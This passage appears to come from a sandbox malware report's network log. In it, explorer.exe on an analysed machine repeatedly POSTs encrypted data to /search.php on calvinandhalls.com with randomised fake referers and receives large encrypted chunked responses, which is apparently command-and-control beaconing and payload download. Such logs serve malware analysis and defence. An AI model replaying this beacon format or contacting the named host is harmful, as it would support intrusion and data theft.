2024-09-25 14:02:20 UTC	7898	IN	Data Raw: 31 65 65 36 0d 0a 18 00 00 00 1e 0d a7 11 ce 1d a7 8b 38 1f d3 67 1f 57 07 21 4f 59 7d 35 c1 9e 69 4b 00 8b 6e 04 00 2a 22 f8 44 01 02 02 00 06 00 9e 03 00 00 77 51 0b 6d 97 5a 5a 1a e7 4b 51 fa 07 40 40 00 56 e8 34 2a 99 34 df c4 22 b4 0c c2 c9 75 16 28 d6 e8 35 ae 87 4e 70 79 29 cd 23 c3 ef 0b d6 49 8b 19 b9 12 52 9b dd 05 05 4e 9f 97 7b e1 5f 69 8c b0 ed 65 43 56 5e 71 f5 4e 45 39 f4 04 e9 d0 a8 e9 4b 2b 4d 76 2a 66 fa 26 fe fc 55 8f 54 eb 33 b6 46 e0 cd 9b 34 02 35 6a 8c 34 70 c2 dc 6e 38 81 9d aa f9 df b3 6b b5 26 0a bf f8 36 e7 44 24 f5 0e af a7 0a 97 ae cb ad 65 6a 38 8e 2f df 47 1f 1a ad c3 3a f2 61 39 73 b3 62 24 2c b7 bd 31 c3 2f 23 8d 51 5a f1 9f b6 71 3e fe 3f 8a 3b 55 06 26 3f 4a 6b de aa db 22 7d b3 7d c9 db a3 3d 47 8d 1a 2c 1e 6a 9c fa dc Data Ascii: 1ee68gW!OY}5iKn"DwQmZZKQ@@V44"u(5Npy)#IRN{_ieCV^qNE9K+Mv*f&UT3F45j4pn8k&6D$ej8/G:a9sb$,1/#QZq>?;U&?Jk"}}=G,j
2024-09-25 14:02:20 UTC	18	IN	Data Raw: ad c8 4d b8 98 51 d7 c4 46 f4 20 38 32 b7 a2 a6 9c c7 Data Ascii: MQF 82
2024-09-25 14:02:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-09-25 14:02:20 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 83 91 ea b4 80 43 43 d2 2a 76 48 28 fa e3 f3 9b 3d 20 10 9a 0e 07 b4 7c 20 db b8 5f 0e 1c e0 7a 74 62 c2 d5 38 50 ab b4 6a a0 56 ed 37 bc 2b 04 79 0c 1b 74 82 e9 04 9a 87 8c 66 71 e2 3a 32 bf 96 aa 85 56 f4 05 fa 48 17 d7 45 b4 74 c3 01 34 c3 54 3e 0c 3d 97 2a 26 cc e0 32 29 5f 8c 55 6d 85 ae 7f c0 d1 7a 0d e9 4b ea fe ab ed 75 74 7c 00 3d e6 71 31 34 c9 ac e6 53 30 c6 87 a5 c8 d7 15 65 b7 c3 61 c3 c5 8f c6 9a c4 80 03 25 d2 d0 09 db b2 89 46 e4 46 0c 7b d6 5d 28 c6 ce 93 0e a0 df 57 0e ee 82 b4 d0 a5 1f 04 45 b4 1f 58 9b 51 6b 96 da 7d 6f 25 58 7f c2 df 99 a3 df 79 d9 ef 51 30 8c 18 69 40 64 fe e0 0e f9 89 96 8f 98 34 d7 8c c5 72 ed 1a ee 52 45 71 1c 08 d3 19 12 f4 68 db 8e ab e2 ad 2e 10 cd bb fe ff 53 78 84 90 47 f0 6e 67 90 52 5f 19 Data Ascii: 2000CCvH(= \| _ztb8PjV7+ytfq:2VHEt4T>=&2)_UmzKut\|=q14S0ea%FF{](WEXQk}o%XyQ0i@d4rREqh.SxGngR_
2024-09-25 14:02:20 UTC	6	IN	Data Raw: 20 09 6c 1a f8 c5 Data Ascii: l
2024-09-25 14:02:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-09-25 14:02:20 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 1b 8a ab 3f 66 45 20 c9 af 22 2e ab 70 95 3f 9f 17 d3 11 7d 81 a5 94 ec 3b f9 58 d1 55 e2 90 08 70 1a b8 60 26 7d 78 86 82 bc 9a 1b 61 79 3c 97 58 14 89 26 5c 44 88 a6 3d 96 1c 53 26 00 44 58 49 1b e8 f1 aa 9a db 4e 9f 66 5f 7d b0 b3 fc 57 ca ff 71 25 4f 88 ed 70 0f 16 b2 c4 bd 0e bf f3 dc 00 b7 f2 a5 f4 ae f3 f6 7a c8 37 8f 60 c1 38 d7 b6 f2 58 0d 76 ba c8 7a a6 13 3a 4c a3 b6 86 b9 a2 0c 4b 37 05 84 09 ed 08 4f 88 07 ea 9a 75 72 15 85 b8 4f 76 61 8c 31 de 65 cd 2a 97 ab 9b 29 53 ae e4 04 d8 0a b1 e7 9c e1 f6 76 b9 e7 13 2d 86 58 56 2e 7e 92 81 b1 d6 bd f7 64 fc 6f c7 85 3a 07 06 fb 78 ed f1 e2 16 f4 a8 e4 e2 30 06 ce 27 25 8a 9d db ba e3 ba 88 e2 96 64 d0 07 8e 10 df c5 fe 4c ef 98 b4 8c 08 a1 01 60 3f 7e ab c0 6c eb 06 f6 63 1f a5 ab Data Ascii: 2000?fE ".p?};XUp`&}xay<X&\D=S&DXINf_}Wq%Opz7`8Xvz:LK7OurOva1e*)Sv-XV.~do:x0'%dL`?~lc
2024-09-25 14:02:20 UTC	6	IN	Data Raw: 4f 16 27 c7 be ec Data Ascii: O'
2024-09-25 14:02:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49742	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:21 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ircvpemvdgiy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 311 Host: calvinandhalls.com
2024-09-25 14:02:21 UTC	311	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6a 34 01 83 b7 25 93 3c 66 a4 21 a2 b9 a7 16 3b f3 11 0a 96 2e e4 d2 14 60 ff 1d 3c 26 83 fb 8c 36 c8 c1 19 72 ef ad 69 ef 42 52 e6 c1 66 15 20 7e 2e 48 dd 0a 99 90 a0 23 f4 86 65 62 1d 8a 1d 53 c2 5a 15 c6 e9 bc 81 1e 30 cf 0f d4 4f bf 70 3d bb 08 9a 61 7b 35 00 7b c1 d8 10 9b 92 0f 81 52 2c fa b5 bb 03 f3 bd 7c 9b 99 87 8f 2e 4d a9 83 bd 01 3e 9e 54 4c f2 7b 72 4c a5 5e 20 2e b6 34 19 2b 8f c4 fa 27 78 a8 db 07 eb 36 f1 b4 da 29 24 6f 55 c1 43 68 17 12 0a f5 2a ee bb 21 2e 0b 29 16 c7 bb 73 2d 41 4a a7 90 e5 3a fa b1 36 d5 67 d2 ab d8 d5 01 96 71 Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Lj4%<f!;.`<&6riBRf ~.H#ebSZ0Op=a{5{R,\|.M>TL{rL^ .4+'x6)$oUCh*!.)s-AJ:6gq
2024-09-25 14:02:22 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:22 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49743	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:22 UTC	290	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://yqvikokvyrwyspvc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 171 Host: calvinandhalls.com
2024-09-25 14:02:22 UTC	171	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6b 34 01 83 b7 25 93 3c 5c ab 75 a7 89 a7 0f 09 f6 7a 62 85 51 88 96 35 72 d6 16 0f 28 b5 db e7 5a e1 c8 73 60 90 ee 33 e8 54 21 88 e6 75 7b 77 71 55 30 f8 6d 94 da 8c 39 ef ed 60 0a 10 90 78 28 e3 35 1b 83 98 e9 92 04 1e d2 0a f7 3a 83 33 20 b4 54 8f 56 67 25 36 00 f4 b7 74 fb 86 37 9c 2c 6e fc dd e4 Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Lk4%<\uzbQ5r(Zs`3T!u{wqU0m9`x(5:3 TVg%6t7,n
2024-09-25 14:02:23 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:22 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49744	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:23 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://kersnljeyirt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 350 Host: calvinandhalls.com
2024-09-25 14:02:23 UTC	350	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 68 34 01 83 b7 25 93 3c 61 e8 34 9f ab da 5b 47 ce 25 78 f1 78 f5 8b 10 03 e5 05 52 2c 90 ce 9f 2a a7 f5 14 43 ed bf 32 82 28 47 bd d4 78 3c 4d 1a 49 4c 8f 15 de cb 94 13 c8 e8 44 2b 0d 9e 13 29 b7 58 5e 8c e8 a8 97 51 70 b2 77 a3 55 a8 12 3b c6 1d d0 77 50 30 66 43 ca d5 1b 8f 94 04 c1 4c 62 e2 fe 89 03 d6 85 59 86 b2 8b 96 5d 64 9d b6 da 1b 16 cc 00 33 f0 64 64 4b 89 4e 3c 46 a5 44 2b 00 8e 90 dc 7b 37 c3 ab 06 a7 55 82 c0 b3 6e 77 1f 36 a7 02 37 01 0c 1d f0 00 a4 91 65 2b 00 32 3e fe 81 31 5a 08 23 c2 e9 9f 58 8b a1 66 df 30 96 be c2 d3 05 8d 5d Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Lh4%<a4[G%xxR,*C2(Gx<MILD+)X^QpwU;wP0fCLbY]d3ddKN<FD+{7Unw67e+2>1Z#Xf0]
2024-09-25 14:02:23 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:23 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49745	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:24 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://udbfyhiovnpjdsu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 223 Host: calvinandhalls.com
2024-09-25 14:02:24 UTC	223	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 69 34 01 83 b7 25 93 3c 2e a4 03 fb c4 c9 1e 0a b3 6b 22 b4 5f 85 90 2f 32 f7 19 2a 28 94 aa 9a 39 eb b6 5c 57 d6 94 7f 8a 47 27 8a 9b 0d 14 77 44 39 29 83 2a ca f3 80 5d e4 fa 59 1d 1d e0 09 4e cc 65 1d c2 ca f7 85 23 6c a2 14 eb 36 e1 1b 78 d8 0e d3 35 3a 6d 76 16 ef c5 15 a7 87 0e ca 02 25 8f f9 8a 32 c5 b8 43 f0 a6 95 b5 0c 66 c1 db 9c 7f 0d a2 41 49 9c 1a 4d 5b e6 3b 14 52 e7 12 1c 21 85 8c d4 05 40 bb c8 74 e3 40 99 cc ed 6a 3d 32 66 ce 6e 7d 6d 7c Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Li4%<.k"_/2(9\WG'wD9)]YNe#l6x5:mv%2CfAIM[;R!@t@j=2fn}m\|
2024-09-25 14:02:24 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:24 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49746	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:25 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://gmhyvptkkbkcth.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: calvinandhalls.com
2024-09-25 14:02:25 UTC	288	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6e 34 01 83 b7 25 93 3c 61 ea 12 e1 d4 b1 4d 4d d2 2b 13 98 5f c9 c7 37 1e b4 2e 01 7f 83 ae ff 20 bf ba 63 67 e4 b2 49 f8 57 4d bb 93 68 1e 69 48 07 3f 8f 33 c3 eb 8b 51 db fd 36 19 5a 99 1e 52 a2 6f 40 e9 e0 a6 ab 07 02 91 0a b0 7d fd 61 7c bc 2c dd 6c 41 32 1b 05 fd dc 6b bc c9 05 89 0d 2b d5 bb b2 3d e1 ef 4e b5 ac e6 bc 53 31 88 cf c2 68 16 c5 7d 13 96 18 70 13 f5 27 02 22 a4 10 1b 4c fb ba 89 35 6a d3 cf 7d af 2a f8 da fb 6b 3d 1d 42 ee 64 35 68 5f 0c ec 25 bc af 11 0f 28 74 34 95 f0 74 44 4f 01 ad 98 db 44 e8 a1 0f 90 66 a4 fd b6 b6 5e 9d 5c Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Ln4%<aMM+_7. cgIWMhiH?3Q6ZRo@}a\|,lA2k+=NS1h}p'"L5j}*k=Bd5h_%(t4tDODf^\
2024-09-25 14:02:25 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:25 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49747	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:26 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://kgiatertamgp.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: calvinandhalls.com
2024-09-25 14:02:26 UTC	321	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6f 34 01 83 b7 25 93 3c 3c a9 38 b3 98 ac 4f 28 b1 37 03 ff 3a 85 f0 1c 2b ee 30 27 6c ce fa 8d 7c ee a0 5c 7c f3 a2 42 ee 45 44 f7 c6 5b 21 72 49 5f 55 f1 3f b9 d0 ce 53 e8 e6 30 79 41 8d 04 4a ba 6b 5a c8 8d e0 a7 39 79 cc 6f fb 7f b5 72 5b 9e 3e 80 6a 7b 76 7b 1b f3 bc 0d 9f a3 7c c3 50 65 9a b3 c1 35 aa 88 47 af 8d 84 98 09 2b a7 b2 d0 7e 49 91 16 0b eb 60 49 19 ae 3e 26 7b fa 28 79 1e 8c 87 83 33 35 d9 d5 35 9c 4e ca ae e6 2a 00 1a 66 bb 1b 2c 57 32 2d a6 0d 98 a4 60 5b 28 2f 0f ca fc 26 58 44 5f dc ee c3 0e c9 ff 21 ee 3b be 94 f2 9d 6a b6 7b Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Lo4%<<8O(7:+0'l\|\\|BED[!rI_U?S0yAJkZ9yor[>j{v{\|Pe5G+~I`I>&{(y355N*f,W2-`[(/&XD_!;j{
2024-09-25 14:02:26 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:26 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49748	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:27 UTC	290	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://oclbjgwufaxiagdw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 185 Host: calvinandhalls.com
2024-09-25 14:02:27 UTC	185	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6c 34 01 83 b7 25 93 3c 76 ae 1a 9c a8 b9 14 52 a4 09 7c ee 61 c5 9b 30 29 ae 63 01 50 a0 a8 d4 24 c0 ef 68 19 d8 b5 2e ef 71 61 ef 8c 5a 31 51 63 31 2d 90 09 9c d4 de 51 d7 bf 4f 7f 40 ad 1c 4c a8 28 01 c3 95 f5 c3 0c 06 c5 07 b7 79 9e 33 36 b3 58 d6 25 56 2e 26 71 eb d8 41 82 d1 13 91 26 2f eb f3 a6 20 ed e1 09 9b be 8d af 05 55 a7 88 9d 25 Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Ll4%<vR\|a0)cP$h.qaZ1Qc1-QO@L(y36X%V.&qA&/ U%
2024-09-25 14:02:27 UTC	278	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:02:27 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49749	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:28 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://itcikyawgmc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: calvinandhalls.com
2024-09-25 14:02:28 UTC	299	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6d 34 01 83 b7 25 93 3c 27 b6 61 97 bd a1 4c 56 cb 2c 3f e5 63 d5 9b 17 0e fc 2a 58 31 9d d3 9c 6d dd b3 47 0d e6 ac 78 80 69 72 f4 e1 18 03 5b 43 10 0c fe 1a af 96 90 1c 80 fd 51 79 3c 96 02 03 c1 3d 00 90 91 e2 82 3a 3b be 7d a6 2c 9a 33 4c b1 2b a4 4e 6d 53 16 1b c3 e5 42 82 a5 32 f1 44 04 f4 a8 a0 37 cb 95 71 bb b0 97 94 5e 52 95 8a c1 70 3f d6 0b 2d ca 1a 43 5b b2 25 18 37 a0 47 18 31 94 ca c2 00 30 df c1 02 a6 5b e8 a4 a5 2e 61 2f 4b d7 5e 13 63 44 0d d5 08 9d ab 06 50 0f 24 51 90 86 5a 22 39 3f a6 e3 8c 3c e9 eb 0a f7 20 95 e2 f0 84 1f c1 6d Data Ascii: rn3a(DrB\|s(#%P g3iqH[@Lm4%<'aLV,?c*X1mGxir[CQy<=:;},3L+NmSB2D7q^Rp?-C[%7G10[.a/K^cDP$QZ"9?< m
2024-09-25 14:02:28 UTC	294	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:02:28 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-09-25 14:02:28 UTC	7898	IN	Data Raw: 31 65 65 37 0d 0a 00 00 b5 50 0f 6d f7 61 d7 e7 49 78 ba 09 bf db 6e 5b 92 64 4f 0c f1 aa 5d 78 6e 1d 37 6e a3 bf 51 b7 61 50 c8 4c 75 ec 96 6c 61 47 6f 72 d9 5d 28 4a c9 17 cf ae b0 92 75 82 7c d6 cc 92 b4 cc 04 6e 80 d9 27 08 88 90 7c 25 38 3b 06 b0 d9 98 1f b3 ee 24 b2 8e 94 c4 c7 84 78 7f df ff 07 32 07 d4 23 b4 c2 cf a3 d9 18 29 4c b6 6d 7e 16 31 ba 88 9c 6f 27 9e 77 77 ec 42 27 39 f1 c8 b5 0f 2b 2c 37 f5 27 0c ee 96 8c 2c eb 7f 13 2a 58 0b a1 c6 4a a5 04 a5 ee 06 88 e3 1d 96 d0 4c d7 1a 1c 0b 6e 31 a2 fd 08 4f 89 d7 29 16 31 bd a7 21 aa 5c b5 b5 55 45 44 dc a1 75 85 c1 e8 06 3a f3 80 41 02 4f fe 76 f4 a8 10 4e 8c 77 26 ec 91 05 1d da 3e 11 60 70 e2 86 3d ef 6e dd fe db a9 55 d9 c9 b4 f3 ac ba 08 34 ee fb c7 34 41 b5 cd 3a 1d 0c d7 46 85 07 8f 3d 07 Data Ascii: 1ee7PmaIxn[dO]xn7nQaPLulaGor](Ju\|n'\|%8;$x2#)Lm~1o'wwB'9+,7',*XJLn1O)1!\UEDu:AOvNw&>`p=nU44A:F=
2024-09-25 14:02:28 UTC	19	IN	Data Raw: 1a 58 b1 16 d2 fd ef 1b ab d7 46 9e ab 19 24 1b 3c de a6 Data Ascii: XF$<
2024-09-25 14:02:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-09-25 14:02:28 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 4f b0 ac 7b 5b 94 2f 8e fb a5 49 75 0f 40 51 70 86 33 86 ea 54 c2 9c a9 b3 9c cf 10 ce 73 f3 0a 45 73 70 80 bd cf 7c c6 1c 25 20 f0 db 31 01 72 f0 5d 54 16 83 19 c9 78 43 66 d9 c7 7f 47 ca 0f f7 a2 70 1e 62 4f 97 d4 85 58 23 aa d0 91 09 29 ee 80 ff 8b 54 15 25 28 bd e0 44 37 f5 d2 98 eb 0f e0 d6 36 42 df 9d 30 3b 76 0a 49 8d d8 2a 5a 2c 48 85 64 39 6f df 29 ee ea 49 62 42 61 fc 57 6e 83 9a b6 22 77 a6 6b e0 cf c9 e4 7a 54 6a 49 6b 6f 35 b7 56 48 95 56 16 b2 96 49 9e ba 4c 2c 9b 9c 43 42 13 5b a3 ab 34 c0 82 5d a9 9e 70 45 78 63 d2 8a a7 06 b3 53 cc e2 23 f1 5f eb 82 a9 0c ba 27 c8 99 eb 5e 0c 15 68 6c d4 ae e1 12 2f 24 0c 48 6d a6 03 50 bc 8c c8 19 7b 50 c9 e8 5e 04 70 28 b9 77 49 81 50 c8 50 6b ae b4 0b 13 a5 ca 64 4c e6 f3 cd d4 f6 e4 Data Ascii: 2000O{[/Iu@Qp3TsEsp\|% 1r]TxCfGpbOX#)T%(D76B0;vI*Z,Hd9o)IbBaWn"wkzTjIko5VHVIL,CB[4]pExcS#_'^hl/$HmP{P^p(wIPPkdL
2024-09-25 14:02:28 UTC	6	IN	Data Raw: 4e 13 8c ae b0 c5 Data Ascii: N
2024-09-25 14:02:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-09-25 14:02:28 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 35 b2 82 d9 81 f6 49 55 1c 8d 04 5f c4 c2 8a 45 ec 18 f5 d8 fd a3 a0 c4 ae 36 1a 9f e2 f9 78 50 95 22 b7 53 4f 27 b1 f4 18 0e 17 d3 04 0a 15 7b 21 da bb 61 41 09 53 89 63 26 06 92 dd b9 cb 36 d9 2b b1 d3 b5 7f 99 b4 fd 21 7f 68 a1 a3 9a c8 f2 df ce 50 b9 f6 65 4b 05 db dd 03 f4 43 65 c4 8c 61 3e 97 ba 4a 79 8f 0c fe ee 9a 91 1c 6c 77 25 cb 40 8c b3 ad 55 8f 66 a4 df a5 4c f4 c9 c1 69 5d 48 0b 4f 32 71 7a 52 6c c0 39 48 fa 96 d0 c8 ec f4 9c a0 0a 28 2c 0e 70 0f 5f 56 3f 57 12 a8 f7 ec d3 73 0d 42 60 a6 37 ca 65 e1 1c 43 c8 32 77 4f a8 25 84 73 8c 57 fe fd 9b 22 07 c9 76 65 b4 ed 87 11 52 c9 bd 4c b2 d4 66 9f da 30 3f 8d 93 5a f7 d7 f1 5d 31 3d a5 2c 47 87 4b 21 aa 61 84 35 f5 f7 9a 70 4c 4f fb 1e f9 e1 fe d1 ec c9 f9 01 71 1e 89 dd 8a 35 Data Ascii: 20005IU_E6xP"SO'{!aASc&6+!hPeKCea>Jylw%@UfLi]HO2qzRl9H(,p_V?WsB`7eC2wO%sW"veRLf0?Z]1=,GK!a5pLOq5
2024-09-25 14:02:28 UTC	6	IN	Data Raw: eb 47 a6 2d 95 51 Data Ascii: G-Q
2024-09-25 14:02:28 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49750	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:29 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://nphwxmrpgxfb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 354 Host: calvinandhalls.com
2024-09-25 14:02:29 UTC	354	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 41 4c 6d 34 01 83 b6 25 93 3c 3b ea 7d e4 d8 ec 12 4e e3 06 09 ef 72 fd e4 3e 60 bb 02 09 5a 81 ea d9 5d e7 c3 56 7c e4 ef 7d 87 2a 62 f5 93 72 29 21 4b 42 14 80 3b dc fe ba 15 96 a8 72 22 3c 81 19 34 b4 6a 6d c3 fe f2 8f 30 07 de 6f b8 67 fc 72 73 b6 1b c1 64 58 4c 67 73 b9 ab 79 9e 8b 3e c0 36 3d f5 bf b1 2c d5 b6 6a 8b 96 fd 96 1d 4a 94 ab 95 44 2d c7 6e 23 fd 70 70 4d 9f 31 26 32 cc 27 05 18 e3 8b e3 16 4b c0 c2 69 be 5c d9 d5 ab 3a 35 22 2e e7 4f 02 1e 0d 16 ef 34 ea bc 00 5c 2c 45 